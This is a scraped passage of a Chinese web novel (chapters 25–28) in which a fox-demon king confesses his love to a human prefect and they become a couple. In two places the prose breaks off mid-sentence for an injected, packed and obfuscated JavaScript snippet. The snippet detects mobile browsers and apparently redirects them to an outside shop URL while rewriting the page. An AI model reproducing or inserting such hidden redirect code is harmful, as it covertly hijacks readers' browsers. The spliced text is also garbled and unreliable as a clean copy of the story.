萧蘅抱着胳膊,有些不自在地移开视线,耳尖却悄悄红了。 “……要你说。” 他低下头,看着她投在地上的影子。走了两步,又忍不住抬头看她。最后还是低下头,目光落在两人相差几步的影子上。 他加快脚步,追上去,走在她身边。 影子紧挨在一起。 两人并肩而行。 往黑云散尽的方向。 往有光的地方走去。 25. 我喜欢你 一行人带着煤矿回到蓟州城的时候,已经是三天后。 李昭宁在城门口就被堵住了。 “大人!煤到了吗?” “大人!今年冬天能暖和点不?” “大人!听说您在浮玉山跟人打起来了?” 李昭宁一一应付过去,等回到州府,天已经黑了。黑云压城,月色稀薄。她一头栽在椅子上,闭着眼,不想动。 门外传来脚步声,她费力地睁开一只眼。 萧蘅站在门口,倚着门框,月光斜斜地落在他肩上,像一层薄薄的霜。他看着李昭宁,语气里带着点笑意:“累了?” 李昭宁翻了个白眼:“你说呢?” 她枕着胳膊,闭上眼睛自顾自道:“我看你还有力气,你去与诸葛军师说何照、尧光的事情吧。” “那两妖不足为惧,你这几日好好休息。我会与诸葛说明情况的。” 萧蘅走进来,在她对面坐下,托着腮看她:“真不容易,你也知道休息了。” “咋?嫌我太勤快了?” “没什么,就觉得这样依赖我,还挺不错。”月光透过窗棂,在地面上投下斑驳的树影。李昭宁感觉脸有些痒,轻轻伸食指挠了挠,才发现是萧蘅的影子落在她脸上。 这妖说话怎么怪怪的。 李昭宁愣了一下,正想说什么,萧蘅已经站起身往外走,走到门口忽然回头:“早点睡,别熬。” 夜风穿堂而过,吹得烛火摇曳。 李昭宁也没多想,继续闭眼休息。 但她不知道的是从这天开始,她的生活,彻底变了。 * 第一天。 李昭宁和诸葛军师讨论玉佩的事情,忽然脑海里响起系统的声音: 【叮!检测到原绑定人受伤,触发强制救援机制。】 她还没反应过来,身体已经被一股力量推着往外跑。 却见萧蘅坐在石凳上,手指上破了一道小口子,正在流血。 李昭宁:…… 萧蘅抬头看她,一脸无辜:“切菜不小心切到了。” 李昭宁深吸一口气。 夕阳把后院染成暖橙色,几只麻雀在墙头叽叽喳喳。 “你切菜?” “嗯。” “你做饭?” “嗯。” “你……算了。”她掏出手帕,蹲下来给他包上,“下次小心点。” 萧蘅低头看着自己被包起来的手指,嘴角微微弯了一下。她的手指温热,触碰到他时带着一点粗糙的茧。 包扎完,李昭宁站起身拍拍手走了。 等她走远了,萧蘅一甩手,指尖生出一团白风将伤势恢复如初。他把那块手帕叠好,收进袖子里。 第二天。 李昭宁正在墨家工坊跟文老头讨论新一批运输箱的图纸。 【叮!检测到原绑定人受伤。】 她话说到一半,人已经冲出去了。 文老头举着图纸愣在原地:“……这丫头疯了?” 李昭宁冲出工坊,在门口撞见萧蘅。他站在那儿,揉着膝盖。她很懵,好一会儿才反应过来是系统在作祟:“怎么了?” “搬东西,撞了一下。” 李昭宁低头看他的膝盖,确实红了一块。她叹了口气:“你能不能小心点?” “话说这系统能不能看情况喊我啊,”她顿了顿,忽然想起什么,“有什么办法规避这种情况吗?我没别的意思,你受的只是些小伤。” 萧蘅别过脸,声音轻轻的:“要积攒恋值。” 心里却道:眼里除了系统,还能有其他的吗? 李昭宁问:“怎么积攒?” “你.......亲我一下......”萧蘅话没说完,李昭宁就踮脚亲了他的脸颊一下。然后嘴里嘟囔吐槽系统,头也不回的往外走。 【叮!系统提示恋值增加99,请继续保持】 唯独留下瞳孔地震的萧蘅站在原地。 * 第三天。 李昭宁在城东分拣站,正跟芝兰核对订单。 【叮!检测到原绑定人受伤。】 她放下手里的单子,面无表情地被系统推着走。。 芝兰:“姐姐你去哪儿?” “杀人。” 芝兰:…… 萧蘅蹲在分拣站门口的台阶上,捂着胳膊。午后的阳光明晃晃的,晒得人发晕。李昭宁走到他面前,居高临下看着他。 “这次又是什么?” “被门撞了。” “门?” “嗯。” “门怎么撞你胳膊?” 萧蘅沉默了一会儿,街边有卖糖葫芦的吆喝声远远传来,他看看那,看看这,有些委屈:“……它自己动的。” 李昭宁盯着他看了三秒,然后她蹲下来,跟他平视。 “萧蘅。” “你是不是故意的?” 萧蘅没说话。风把她的碎发吹到脸上,李昭宁抬手拨开,忽然笑了。 “行。你继续。” 她站起来,拍拍手,转身走了,走了两步,忽然回头。 “下次换个新鲜点的借口。” 萧蘅:…… 我就是想让你多看看我。 她的背影消失在分拣站的门里。萧蘅低下头,蹲在街边,嘴角却忍不住弯起来。此时此刻他似乎忘了自己妖王的身份,只想做一个在李昭宁身边,普普通通的人类,安静地听着街角的糖葫芦摊传来叫卖声,阳光落在台阶上,暖洋洋的。 第四天。 诸葛兰旌来了。 他带着那枚玉佩,神色比往日凝重几分。 “这玉佩上的气息很奇怪。”他把玉佩放在桌上,“不是普通的法器,也不是妖力加持。” “我翻阅了蓟州城所有相关的典籍,没有任何发现。”他身后跟着玄武,它背上托着几本书。李昭宁一瞧,其中一本是史书,随手翻开一页,正看到曾经某个朝代叱咤风云的女大将军李少安的传记。 萧蘅凑过来,探头一瞧:“怎么?你也想当女将军?” “我还是安心做好州牧吧。” “你想做我可以……”萧蘅话说到一半,看见玄武正往外走,问道,“不是去送煤矿了吗?” 玄武回头:“送完了。” 萧蘅惊讶:“这么快?阿蛟它们呢” “对呀,”玄武慢悠悠地答,“它们现在再就业了。” 萧蘅挑眉:“再就业?” “对呀,去帮农人收麦子了。” 萧蘅想象了一下阿蛟和浮雀在麦田里扑腾的样子,嘴角抽了抽。 李昭宁已经凑到诸葛兰旌身边,去看那玉佩。诸葛兰旌指着玉佩上隐约可见的纹路:“这些纹路,像是某种古老的封印术。” “封印?” “嗯。而且,”他顿了顿,“这上面有小花妖的气息。” 芝兰在旁边小声说:“奶奶说,小花妖是被她救回来的。会不会……奶奶把什么东西封进了玉佩里?” 几人面面相觑。 狼少爷现在已经能化形了,是个清秀的少年。他凑过来看了半天,忽然说:“等小花妖复活了,问问她不就知道了?” “我从古籍中寻了个法,目前只等待昙花开花。” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236813|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蘅靠在窗边,一直没说话。 他只是看着李昭宁和诸葛兰旌凑在一起,脑袋越靠越近,越靠越近…… 他忽然走过去,一手一个,把两人推开。 李昭宁被推得一个趔趄:“你干嘛?” 萧蘅面无表情,目光从两人之间扫过:“看你们太近,碍眼。” 诸葛兰旌愣了一下,然后笑了。他看了一眼萧蘅,又看了一眼李昭宁,意味深长地“哦”了一声,手里的青鸾圣扇摇得格外悠闲。 李昭宁:“……哦什么哦?” 诸葛兰旌笑着摇扇子:“没什么。” 他拿起玉佩,起身告辞。 走到门口,忽然回头:“对了,尧光能破解封印,恐怕是吸了什么东西。能破那种级别的封印,不是普通的妖力能办到的。” 他顿了顿,目光扫过众人。 “你们小心些。” * 夜里。 李昭宁躺在床上,翻来覆去睡不着。窗外虫鸣阵阵,月光透过纱帘,在地上铺了一层银霜。 正想着,脑海里忽然响起系统的声音:【叮!检测到原绑定人重伤。】 李昭宁腾地坐起来。 重伤? 她顾不上多想,身体已经被系统推着往外冲,一路冲到萧蘅的房间。 推开门,萧蘅坐在床边,完好无损。他瞬间将雪绸白玉扇收起来的小动作却被她看见了。 月光从窗户照进来,落在他身上,在他眉眼间投下淡淡的阴影。 萧蘅站起来,走到她面前,距离很近,近得她能看清他眼底的光,和那光芒之下藏着的一点疲惫,一点期待,还有别的什么。 他忽然笑了,笑容里带着点落寞。 “你来了。” 李昭宁:…… 她深吸一口气:“萧蘅,你是不是有病?” 萧蘅看着她,没说话。夜风从敞开的窗户吹进来,撩动她的发丝。 他忽然伸出手,把她拉进怀里。 李昭宁整个人僵住了。 他的手臂环住她的腰,力道不重,却让人挣脱不开。却又在下一刻握拳,像是想放开,最终还是垂下手,只是轻轻环着她。 “关于尧光,我有一个怀疑。”他的声音从头顶传来,闷闷的。 李昭宁脑子还没转过来:“什么?” “你还记得芝兰的弟弟被奶奶送去杻阳山的事吗?那是奶奶正好遇到了被幻兽攻击的小花妖。所以我怀疑,芝兰弟弟可能被幻兽带走了,而且,极有可能吸走了他的人气,再加上何照的妖气,所以能逃脱封印。” 李昭宁怔住,想抬头看他,却被萧蘅轻轻按住。 他拉着她,让她在床边落座。她一个不稳,身体晃了晃,萧蘅顺势搂住她,低头问:“不舒服?” “没……”她的话还没说完,萧蘅把下巴抵在她头顶,声音很低沉,有些沙哑,像是从胸腔里传出来。 “系统已经不在我身上了。”他说,“我自由了。” 李昭宁挣扎了一下:“啊?” “可是我没走。” 他的声音很轻,轻得像夏夜的风。 “你知道为什么吗?” 李昭宁心跳漏了一拍,脑子里却还是一团乱麻。萧蘅今日怎如此古怪?先是受伤,又是说这些话……他之前没有这么软弱的。难道是幻兽…… 她忽然变了脸色,猛地想推开他:“难道是幻兽?” 她张了张嘴,话没说完,萧蘅却把她抱得更紧了一点,打断了她的话。 “我好像喜欢上你这个笨蛋人类了。” 月光静静地流淌,虫鸣不知什么时候停了。 26. 不是系统,是真心 李昭宁整个人愣住,大脑一片空白。这还是那个嫌弃这里嫌弃那里、整天冷着一张脸的萧蘅吗? “……你不会是幻兽吧?” 萧蘅叹了口气,没说话,只是把她又往怀里带了带。月光从窗棂斜斜洒进来,像一只只跳跃的银蝶。 他的双手紧紧环住她,交叠在她腹前。她感觉到他身上烫得不像话,也觉得很别扭,想挣脱。 萧蘅察觉到怀里人的挣扎,眉头微微皱了一下,眼底闪过一丝无奈,然后下一秒,“唰”一声,竟直接变成了狐狸,缩在她怀里。 毛茸茸的身体蜷成一团,七条尾巴软软地围住她的腰,很慢很慢地摆动,一下一下摩挲着她的衣料。 李昭宁彻底懵了,心脏有一瞬间像是停止了跳动。她甚至听见了自己的心跳声,咚、咚、咚,像是东海的海浪拍在岸上。 不对。 这不对。他们刚从九死一生的险境里逃出来,萧蘅就如此突兀地表白?还是直球表白?他之前可都是浑身上下嘴最硬的,明明关心得要死,偏要摆出一副“我才懒得管你”的样子。 幻兽。绝对是幻兽。 然而等萧蘅露出那蓬松柔软的狐狸尾巴后,她瞬间就被吸引了目光,脑子还没反应过来,两只手已经各自耗住一条,厚厚的绒毛又软又暖。 “别说话。”他说,声音闷闷的,带着狐狸形态下特有的鼻音,“就一会儿。” 月光依旧很亮,银蝶忽闪忽闪落在两人身上。他的呼吸就在她耳边,平稳而温热,一下一下拂过她的脖颈。窗外的虫鸣有一搭没一搭地响着,像是也被这突如其来的静谧感染,不敢高声。 过了很久,他低声问:“你没躲,是不是也喜欢我?” “大哥,你抱这么紧,我怎么躲……”她的声音有点发飘。 萧蘅低低地笑了一声,毛茸茸的耳朵蹭了蹭她的手背。 “我不管。”他说,声音里带着从未有过的柔软,也有些不自然的别扭,“你别想丢下我。” 说完,他飞快地把脑袋埋进了自己的尾巴里,像是害羞了,又像是在逃避她的目光。虫鸣渐起,一声接一声,仿佛在替谁诉说着什么。她忽然想起一句诗“除去天边月,无人知。” 她靠在他怀里,听着他沉稳而有力的心跳声。她从没有往这方面考虑过,真的从来没有。他们明明是搭档,是互相嫌弃又不得不绑在一起的冤家,怎么忽然就…… 她问:“为什么?按照你的性格,你不是最讨厌这种……” “因为是你,不是你的性格。”萧蘅打断她的话,扬起毛茸茸的狐狸脑袋,那双鎏金的眼眸在月光下熠熠生辉,“还记得我与你讲过我父母的故事吗?” “记得。” 萧蘅沉默了一会儿,然后露出了两条她从没有见过的尾巴。李昭宁讶然抬眸,瞳孔微微收缩,那是两条纯黑的尾巴,但在洁白月光下隐隐泛着紫意,玄紫,和他的头发一个颜色。 “我讨厌父亲对母亲强取豪夺,”他的声音低下去,像是在剖开自己的心,“遇见你之前,我一直觉得爱是放手,是互相留有空间。但是遇见你之后,我却见不得你和别人说话,你对别人笑。尤其是看你为了那群毫不相干的人奋斗,甚至不顾性命受伤,我就……” 他顿了顿,鎏金的眼眸里闪过一丝暗色:“我就很不舒服,想把你关起来。” 话音刚落,萧蘅变回了人形,双手撑在李昭宁身侧,慢慢俯身靠近。月光被他宽阔的脊背挡住,她整个人笼罩在他的阴影里。李昭宁下意识往后仰,别过脸,但萧蘅炽热的呼吸扑在自己脸上,烫得她耳根发红,难耐地攥紧了身下的床单。 “你喜欢我什么?怕不是系统在作祟?”她只感觉自己心跳好久没有像这样狂跳,咚咚咚的像是要从胸腔里蹦出来,双手举在胸前,徒劳地和他保持距离。 “不是系统。” 他的目光定定地落在她脸上,一字一顿,像是要把每个字都刻进她心里:“是真心。” 他炽热的眼神里又带着点小心翼翼的委屈,声音低低的:“抱歉,我只是害怕下山的时间不多,想和你更近一些。” 他又想起什么,眼神认真起来,一字一顿:“我喜欢你,因为你是个笨蛋。你永远满怀热情与信心,你善良得过了头,看到谁受苦都要帮一把。唯独不好的是,你对自己不怎么上心,受伤了也不吭声,累了也硬撑着。” “所以给我个机会,让我来保护你。” 说罢,他低头吻了一下她的手背,温热的触感一触即离。然后“嗖”的一下化成一道白风消失在窗外,只留下一句轻飘飘的话飘进来:我等你。 【叮!系统提示:恋值增加5201314!请继续保持!】 系统的声音也在这时候响起,还配了个放礼花的音效,噼里啪啦在她脑子里炸开。她抬手摸了摸他刚才亲过的手背,那里好像还残留着温热的触感,眼睛一眨不眨地看向窗外。 月光静静地洒在院子里,树影婆娑,虫鸣声声。 从小到大第一次被妖怪,还是妖王表白,心乱得像一团麻,理不清,也剪不断。 难道是梦? 可刚才那吻还在灼烧自己的肌肤,真实得不能再真实。 * 第二天一早,李昭宁为避免和萧蘅撞上,天还没亮就起了床,简单洗漱后直奔学院。其实是一晚上没睡好,翻来覆去全是萧蘅那张认真的脸,炽热的眼神,还有他说的那些话。 晨风很冷,带着露水的凉意扑在脸上,她深吸一口气,想让自己清醒一点,结果刚走到州府门口,就被乌泱泱的人群堵住了。 “李大人!” “大人!我有话说!” “大人,您看我儿子怎么样?” 一个婶子挤到最前面,笑得满脸开花:“大人,我们看您为蓟州城如此操劳,天天起早贪黑的,身边却孑然一人,多孤单啊!我给您说门亲事!” 李昭宁看着面前乌泱泱的人群,彻底懵了。昨有萧蘅表白,今有相亲大会?怎么一个让她心动,一个让她头疼?这都什么跟什么啊? “我侄子!今年二十有八,长得周正,家里有三间大瓦房,还有两头牛!” “我表弟更好!读书人,明年就要考功名了,将来指定能当大官!” “大人您别听她们的,你们所有人都洗洗睡吧。李大人和诸葛军师最配好吧,一个主内一个主外,多般配!” 李昭宁被吵得脑袋嗡嗡响,她抬手往下压了压:“停!” 人群安静了一瞬,几十双眼睛齐刷刷盯着她。 “各位父老乡亲们呐,我现在没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239380|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空考虑这个。”李昭宁清了清嗓子,试图让自己的声音听起来有说服力一些,“妖界速递刚上正轨,小妖们就业还没安排完,哪有心思……” 话没说完,她忽然感觉到一道目光,冷飕飕的,像腊月的寒风从后脊梁刮过。 萧蘅站在不远处的槐树下,抱着胳膊,面无表情。但那双眼睛,冷得能结冰,直直地盯着她,或者说,盯着那群热情似火的大娘大叔们。 李昭宁愣了一下。下一秒,萧蘅已经转身走了。 她看着他的背影,忽然有点心虚。 …… 她心虚什么?她又没答应! * 接下来三天,李昭宁没见着萧蘅。这样也正应了她的意,她不想拒绝也不想同意,那种很纠结犹豫的心思,像小时候的自己,只有能买一款年限皮肤的钱,却一直在两款皮肤之间犹豫不定,抓耳挠腮,翻来覆去。 其实也不是她不想见,是因为真的太忙了。 快递业务走上正轨后,新的问题来了:快递只需要几个小妖就够了,剩下的小妖怎么办?总不能养着吃白饭。 她跑遍了蓟州三郡,到处打听哪里需要人手。 墨家工坊需要学徒,她带去了芝兰和几个手脚伶俐的小妖,手把手教他们认工具。农户需要帮手耕种,她让玄武带着几个力气大的去帮忙翻地,一群小妖在田里干得热火朝天,把老农看得一愣一愣的。城里的铺子需要送货的伙计。她安排浮雀和阿蛟轮班,两只小妖腿脚快,一天能跑十几趟。 她翻开各县令最近发来的帖子,上面都说狐妖的天气预报一直很准,什么时辰下雨、什么时辰起风,准得像是老天爷亲自告诉他的。 原来他还记得,还在勤勤恳恳地做着她安排的事。 她觉得这样一直吊着萧蘅不太好,心里隐隐有些过意不去。傍晚时分,她放下手里的公文,决定去见见他。 “萧蘅呢?”她问阿蛟。 阿蛟挠头,眼神飘忽:“不知道啊,好几天没见着了。” 李昭宁皱眉。 这妖……跑哪儿去了? 李昭宁绕城转了一圈,先去诸葛兰旌那里,没有;又去他喜欢待的那棵老槐树下,也没有;最后跑到城外转了一圈,还是没影。等她回到州府时,天已经黑透了,累得腰都直不起来。刚进大门,就看见阿蛟鬼鬼祟祟地往内院溜,尾巴都夹成麻花了。 阿蛟?这么鬼鬼祟祟的?上午问它萧蘅在哪,它还支支吾吾的,眼神躲闪。她眯起眼睛,心里起了疑,悄悄跟上去看看。 才走了几步,她忽然看到前方乍出一道白光。 下一秒,系统的声音响起。 【叮!检测到原绑定人重伤——】 她脸色一变,身体已经被系统推着冲了出去,脚步踉跄却停不下来,一路冲进萧蘅的房间。 萧蘅坐在床边,一手捂着胸口,脸色煞白,嘴角还有没擦干净的血迹。阿蛟和浮雀等小妖已经变回原形,正慌慌张张地从窗户往外爬,一边爬一边喊:“大王让我们干的!不关我们的事!” 李昭宁冲到他面前,眼睛都红了,声音发颤:“萧蘅!你......” 话没说完,一股无形的力量从身体里猛地涌出,完全不受控制。她眼睁睁看着自己俯下身,吻住了他的唇。 27. 你还没有说你喜欢我呢 萧蘅没有躲。他抬起手,轻轻托住她的腰,把她拉进怀里,然后加深了这个吻。他的唇有些凉,但很快就被灼热取代,像是压抑了太久的情感终于找到了出口。 阿蛟伸着爪子趴在窗台上偷窥,眼睛瞪得溜圆,傻在那里。芝兰闻声赶来,试图捂住它的眼睛,可没用,它的小脑袋左躲右闪,看得津津有味。 愣了三秒,阿蛟忽然反应过来,转身就跑,边跑边喊:“浮雀!玄武!快回来——大王和大人亲上了!” 李昭宁听见了,可她被萧蘅亲得发不出声音,只能唔唔地挣扎,捶打他的胸口,却挣不开分毫。 萧蘅的手扣得很紧,揉着她细软的腰肢,往怀里按,像是要把她揉进骨血里。等她终于被放开的时候,脸红得像烧起来,大口喘着气。 “你!” 萧蘅看着她,眼睛幽深得像一潭古井,却又亮得惊人,嘴角带着浅浅的笑意。 然后他拂袖一挥,门和窗“砰”地一声关上,隔绝了外面的一切。 李昭宁被他托住腰,转了个身,抵在墙边。背后是冰凉的墙壁,身前是他滚烫的胸膛,她心跳如鼓:“萧蘅!你搞什么啊?” “搞什么?”萧蘅低下头,额头抵着她的额头,呼吸灼热地扑在她脸上,声音沙哑,“你三天没来。” 李昭宁倏然愣住。 “我……” “你知道我这三天怎么过的吗?” 他的声音很沙哑,就贴在耳边,却让她心脏猛地一缩,像是被一只手攥紧了。 李昭宁看着他,看着他眼底的疲惫,青色的阴影,看着他微微发红的眼眶,还有眼角那一抹藏不住的委屈。 她忽然想起来第一次见面时,他是虚情假意的狐妖公子,表面恪守礼貌,实则带着点睥睨众生的感觉。 后来,他是别扭傲娇的狐妖,嘴上说着嫌弃的话,行动上却处处护着她。 再后来,他会偷偷关心她,在她累的时候悄悄帮忙,在他遇难的时候出面帮忙,虽然口是心非,但在她不知道的地方,做了很多很多。 而现在…… “李昭宁。”萧蘅开口,声音低低的。 “嗯?” “我好像……越来越离不开你了。” 李昭宁心脏漏跳了一拍,像是被什么击中。 萧蘅看着她愣住的表情,睫毛微微颤动,像是受惊的蝴蝶。看着她微微张开的唇,还有眼底那一闪而过的柔软。 他忽然笑了,笑着笑着,眼底有点摇头叹了口气,手却把她抱得更紧,像是抱着什么稀世珍宝。 “明明是你闯进我的世界的。”他说,声音里带着一丝不易察觉的哽咽,“是你先招惹我的,是你让我变成这样的。” “别躲,好吗?” 窗外的月光透过窗棂的缝隙漏进来,在地上落下一道银白的树影,像不知何时生根发芽生长的心意。 她抬起手,捧住他的脸,然后使劲掐了一把,揉来揉去,看着萧蘅疼得龇牙咧嘴。 “你知不知道,你真的很烦?” 萧蘅愣住,眼睛里的光暗了暗。 “之前三天两头受伤让我跑来跑去,现在还想出这种馊主意让阿蛟打你,你是不是有病?” “是。”他的眼睛忽然亮起来,像是抓住了什么,“相思病。” “所以,你的答案是什么?”他的眼睛一眨不眨地盯着她,像是怕错过任何一个细微的表情。 “我要是不答应你,是不是还要搞什么三百回合的苦肉计?”她扑哧一声笑出来,眼睛弯成两道月牙,亮晶晶的。萧蘅挑眉,嘴角的笑意越来越深,一点点凑近:“你答应我了?” 他刚想低头吻她,门外忽然一阵喧哗。 “咋回事,门打不开了?” “阿蛟你是不是骗我们?里面到底咋样了?” “大王和大人真的亲上了?让我看看!” 萧蘅眉头一皱,拂袖一挥,一道淡淡的妖力从门缝里飘出去,门外顿时安静了,安静得有点诡异。 李昭宁从他怀里探出脑袋,眨了眨眼:“你把它们怎么了?” “定住了。”萧蘅面无表情,语气里带着点嫌弃,“看热闹不嫌事大。” 李昭宁愣了一下,然后笑出声来,笑得肩膀一抖一抖的。 萧蘅看着她弯弯的眼睛,微微上扬的嘴角,又因为笑而微微泛红的脸颊。 他忽然觉得,这活了几千年,简直是白活了。 要是早点遇见她,该多好。 他又把她抱紧了一点,下巴抵在她发顶,轻轻蹭了蹭。 窗外,月光如练,洒满人间。远处传来东海的海浪声,风声,还有小妖们被定住后呜呜咽咽的哼哼声,像是被捂住了嘴。 人间烟火,不过如此。 李昭宁忽然想起一件事,抬起头来:“我得去找诸葛军师商议一下,蓟州城的防御得重新部署,别到时候尧光和何照又卷土重来。” 萧蘅低头看她,眉头微微皱起,很明显不开心:“大家都说你和他天生一对,天作之合。” “这话不对。”李昭宁理直气壮地反驳,眼睛亮亮的,“诸葛军师确实很有才华啊,应该是我配不上人家。” 萧蘅沉默了三秒,表情越来越黑:“李昭宁。” 她眨眨眼,无辜地应道:“嗯?” “按你们人类的说法,我现在是你的伴侣,你少夸少提其他男人。” 李昭宁眨眨眼,看着他认真的表情,忽然觉得有点好笑。她故意歪着头,慢悠悠地道:“诸葛军师夸夸咋了,人家贡献大着呢,蓟州城曾经的防御工事都是他设计的。再说我又不喜欢人家,你还妖王呢,心眼太小了。” “……行。那你夸他一句,就亲我一下。” 她挑眉,眼睛里的笑意更深了,故意拖长了声音:“谁一开始嫌弃我?说我是‘傻姑娘’,说我‘不知天高地厚’?” “是我。”萧蘅低下头,额头抵着她的额头,声音低低的,带着点撒娇的意味。 他顿了顿,抬眼看她,眼眸里满是温柔和认真:“现在,也是我。从头到尾,从一而终。” 窗外,月光渐渐西沉,天边泛起鱼肚白。远处传来第一声鸡鸣,接着是第二声、第三声,此起彼伏。 新的一天,要开始了。 * 萧蘅发现,自己真的得了人类口中的相思病。 此病无名,典籍不载,全病名叫“一刻不见李昭宁就浑身难受”。发作时心痒难耐,坐立不安,神思恍惚,恨不能将那人拴在腰带上,走哪儿带哪儿,时时刻刻看着、守着、护着,方觉心安。 可这话他不能说。 他是妖王。几千年的妖王。曾单手镇压过七 洞妖乱,曾凭一扇子扇大败九头鸡精,曾让幻兽闻风丧胆、见影即遁,这样的人,怎么可能像个毛头小子一样,天天黏着一个人?这不成体统,有失威严,传出去叫那些老对头笑掉大牙。 于是他换了个方式。 李昭宁在分拣站核对订单,一张一张对着单子,头也不抬,面前的案上堆满了竹简和纸条。 他从门口“路过”了三趟,第一趟放慢脚步,眼角余光往里扫了扫;第二趟驻足片刻,负手而立;第三趟索性靠在门框上,手指故意有一下没一下地叩着门框,那叩击声不轻不重,恰好能让里头的人听见,偏偏里头的人充耳不闻,连眼皮都没抬一下。 李昭宁在墨家工坊看图纸,和文老对着新设计的机关争论不休,两人指指点点,说得热火朝天。 他从窗外“路过”了四回,第一回站在东窗;第二回挪到南窗;第三回绕到西窗,几乎贴在了窗纸上;第四回索性蹲在正对着她的那棵老槐树下,假装研究树皮上的纹理,研究了一个时辰,那树皮都快被他看出花来了。 李昭宁还是没理他。 李昭宁在州府批文书,案牍堆得像小山高。 深秋的花草早已经凋谢,他盯住那株干花,那棵枯树赏了一个时辰。他就那么站着,负手仰头,对着枯枝凝望。 寒风吹起他的衣袂,吹得发丝微乱。诸葛兰旌路过,嘲笑他是一尊望妻石。 芝兰实在看不下去了,趁送茶的功夫凑到李昭宁面前,压低声音说:“姐姐,狐妖哥哥在外面站了一下午了。” 李昭宁头也不抬:“哦哦,我知道了。” “你不出去看看?” “我这边忙,他要是真有事,自己会进来。估计自己在赏景吧。” 芝兰欲言又止,回头看了一眼窗外。那个“赏花”的狐妖正侧着身子,脖子微微往这边探,那姿势摆得辛苦,脖子都快伸断了,偏偏还要维持一副云淡风轻的做派,仿佛他只是恰好路过、恰好驻足、恰好站在这里看风景。 芝兰默默叹了口气。 这叫什么?这叫死要面子活受罪。 傍晚时分,天色渐渐暗下来。最后一缕夕阳沉进西山,暮色四合,月亮从东边升起,清冷冷的月光洒在院子里,被风吹晃着,一闪一闪亮晶晶。远处传来更夫的梆子声,咚、咚,由远及近,又渐渐远 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他转过头,眼眸里闪过一丝慌乱,想否认,想板起脸说“胡说什么”,却对上她亮晶晶的眼睛。那双眼睛映着月光,亮得像是盛了一汪清泉,正笑意盈盈地望着他,望得他心头发软。 话到嘴边,又咽了回去。 “想见我就直说,”她叉腰凑到他面前,又伸手戳戳他的腰窝,“表白的时候那么勇猛,现在怎么原形毕露了?” 萧蘅别过脸,不看她。耳尖更红了,红得快要滴血,连脖颈都染上了一层薄薄的粉色。月光落在他侧脸上,那红晕便格外分明,像冬日雪地里绽开的两朵红梅。 “忙完了?” “对呀。” “那……去吃点东西?” 李昭宁看着他别扭的样子,看着他拼命绷住的脸,看着他红透的耳尖,笑容更盛:“好。” 两人并肩往外走。 走了几步,萧蘅忽然伸手,试探地握住了她的手。 他的手很大,骨节分明,指腹有薄薄的茧。此刻握着她的手,力道不轻不重,却带着一种不容挣脱的笃定,像是怕她跑掉似的。 李昭宁低头看了一眼那只手,又抬头看他。 萧蘅目不斜视,看着前方的路,表情镇定得像什么都没发生。月光落在他脸上,那眉眼间却藏着一丝紧张,一丝小心翼翼的期待。 但冒出的狐狸耳尖出卖了他。 她没挣开。 月光把两人的影子拉得很长,交叠在一起。街边的铺子陆续关了门,偶尔有一两声狗吠,很快又安静下来。远处传来隐隐约约的笙歌,不知是哪家酒楼还在热闹。 走了一会儿,李昭宁忽然开口:“你有没有发现,你最近越来越黏人了?” 萧蘅脚步一顿。 “没有。” “有。” “没有。” “那你现在在干嘛?” 萧蘅低头看了一眼两人交握的手。 沉默了三秒。 “……牵你。” 李昭宁笑出声来,笑得肩膀一抖一抖的,笑得眼角都沁出了泪花。 萧蘅恼羞成怒,松开手就要走。 她哎哎哎几声,一把拉住他,笑得直不起腰:“好了好了,不逗你了,不逗你了。” 萧蘅站住,没回头。 月光落在他背上,落在他微微僵硬的肩线上。他整个人像一只随时会炸毛的狐狸。 李昭宁绕到他面前,仰头看他,觉得他这反应有趣极了。她灵光一闪,忽然踮起脚,在他嘴角轻轻印了一下。 萧蘅浑身僵住。那吻,很快,轻得像羽毛拂过,轻得像月光落在水面上。 他瞳孔微微放大,喉结上下滚动,整个人像被施了定身咒,一动不动,连呼吸都忘了。 李昭宁退后一步,笑得眉眼弯弯。 “奖励你的。” 月光洒在她脸上,映得那双眼睛亮得惊人,亮得像两颗星子落进了眼眸。她嘴角噙着笑,得意洋洋,像只偷到了鱼的猫,那模样俏皮又灵动,让人看了心里发痒。 萧蘅一事怔住,月光照在她莹白如玉的脸颊上,映得眼睛亮晶晶,微微扬起的下巴透露着几丝得意。 反应过来后,他忽然伸手,把她拉进怀里。声音带着一丝沙哑,一丝犹豫 “你还没说过喜欢我。” 28. 福祸相依 李昭宁能闻见萧蘅身上淡淡的草木清香,能听见他心跳的声音,咚、咚、咚,比平时快很多,快得像擂鼓。 她抬起头,想说什么。 萧蘅却忽然神色一变。 他猛地松开她,按住太阳穴,眉头紧锁,眉心拧成了一个疙瘩。 她问:“怎么了?” 萧蘅脸色沉下来,眼底闪过一丝冷意,那冷意像寒冬的风,瞬间划破了方才的温存:“妖识传讯。杻阳山出事了。” 李昭宁心一紧,像被什么东西攥住,猛地往下坠:“一定是尧光和何照。我跟你去。” “不行。”萧蘅断然拒绝,退后一步,身形开始虚化,衣袂在夜风中翻飞,猎猎作响。 “等我回来。” 他的声音飘过来,带着一丝急促,一丝不舍,还有一丝不容置疑的坚决。 下一秒,他消失在夜色中。 月光依旧清冷,明明铺满青石地面,却显得空空荡荡。月光下只剩她一个人站着。风一吹,枯枝簌簌作响,像无数人在窃窃私语。 李昭宁站在原地,心里忽然有些不安。 